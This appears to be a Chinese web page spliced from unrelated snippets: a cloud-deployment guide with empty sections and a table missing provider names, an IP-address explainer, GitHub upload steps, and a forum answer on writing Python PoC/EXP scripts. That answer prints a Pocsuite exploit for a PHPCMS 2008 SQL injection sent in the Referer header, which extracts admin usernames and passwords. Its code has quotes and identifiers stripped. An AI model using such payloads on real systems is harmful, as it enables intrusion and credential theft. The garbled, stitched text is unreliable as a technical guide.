在当今数字化时代,Python作为一种强大的编程语言,被广泛应用于数据分析、人工智能、网络爬虫等多个领域,将Python代码提交到云服务器,不仅可以实现代码的远程执行,还能提高资源利用率和安全性,本文将详细介绍如何将Python代码提交到云服务器,并提供一些实用的技巧。
选择合适的云服务器
选择一个合适的云服务器是至关重要的,以下是一些常见的云服务提供商:
| 服务提供商 | 优势 | 劣势 |
|---|---|---|
| 功能强大,全球覆盖 | 价格较高 | |
| 与Microsoft生态系统集成良好 | 价格较高 | |
| Google Cloud | 价格合理,性能优秀 | 相对较新 |
准备Python环境
在云服务器上部署Python环境,通常需要以下步骤:
编写Python代码
编写Python代码时,需要注意以下几点:
提交代码到云服务器
以下是几种常见的提交方式:
使用Git
使用FTP/SFTP
使用云服务提供的代码部署工具
维护和监控
将Python代码提交到云服务器后,需要定期进行维护和监控:
Q1:如何将Python代码从本地上传到云服务器? A1:可以使用Git、FTP/SFTP或云服务提供的代码部署工具将Python代码从本地上传到云服务器。
Q2:如何在云服务器上运行Python脚本?
A2:在云服务器上进入Python脚本所在的目录,使用命令行运行
python 文件名.py
即可。
电脑的IP是什么意思?
IP= Protocol,网际协议在Internet上有千百万台主机,为了区分这些主机,人们给每台主机都分配了一个专门的地址,称为IP地址。 通过IP地址就可以访问到每一台主机。 IP地址由4部分数字组成,每部分数字对应于8位二进制数字,各部分之间用小数点分开。 如某一台主机的IP地址为:211.152.65.112 ,Internet IP地址由NIC(Internet Network Information Center)统一负责全球地址的规划、管理;同时由Inter NIC、APNIC、RIPE三大网络信息中心具体负责美国及其它地区的IP地址分配其实IP就跟人的身份证号码一样.每一台电脑都会分配到一个IP.而分配到给它的IP就是它的身份证号码
如何使用python编写poc,EXP
然后来谈谈自己的看法:其实吧,无论乌云的TangScan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。 1. Requests: 模拟Web的请求和响应等交互动作。 2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。 其余的大部分代码都是漏洞的信息。 Pocsuite官方文档例子:#!/usr/bin/env python# coding: utf-8import reimport urlparsefrom t import reqfrom import POCBase, Outputfrom import registerclass TestPOC(POCBase):vulID = # ssvidversion = 1author = []vulDate = 2011-11-21createDate = 2015-09-23updateDate = 2015-09-23references = []name = __phpcms_2008_place_sql_inj_PoCappPowerLink = appName = PHPCMSappversion = 2008vulType = SQL Injectiondesc = phpcms 2008 中广告模块,存在参数过滤不严,导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,如果关闭了错误显示,可以采用基于时间和错误的盲注samples = []def _attack(self):result = {}vulurl = (, /data/?id=1)payload = 1, (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),Username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_ group by a)b), 0)#head = {Referer: payload}resp = (vulurl, headers=head)if _code == 200:match_result = (rDuplicate entry \1--(.+)---(.+)--\ for key, , re.I | re.M)if match_result:result[AdminInfo] = {}result[AdminInfo][Username] = match_(1)result[AdminInfo][Password] = match_(2)return _attack(result)def _verify(self):result = {}vulurl = (, /data/?id=1)payload = 1, (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_ group by a)b), 0)#head = {Referer: payload}resp = (vulurl, headers=head)if _code == 200 and c4ca4238a0bdcc509a6fb in :result[VerifyInfo] = {}result[VerifyInfo][URL] = vulurlresult[VerifyInfo][Payload] = payloadreturn _attack(result)def parse_attack(self, result):output = Output(self)if (result)(Internet nothing returned)return outputregister(TestPOC)可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。 甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。 这个库其实就是Requests。 用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。 这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。 Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。 代码很简单最主要的,还是对于漏洞的理解。 先说到这里,有空之后再写一些别的。
如何将本地的项目上传到github
打开github for windows,点击项目后面的箭头,或者双击项目进入到项目仓库后,就会在界面右侧看到改动的的代码或者文件,我们在左侧输入此次变动的备注,如下图所示,点击的“commit to master”按钮,就会在左侧显示一个“unsynced commits”我们点击右上方的“sync”按钮,这些软件就会自动上传代码到远程服务器,上传完毕之后,就会在左侧的“history”里看到刚才上传的版本了为了验证代码是否上传服务器成功,我们可以进入到github上的项目主页,验证代码是否变动成功














发表评论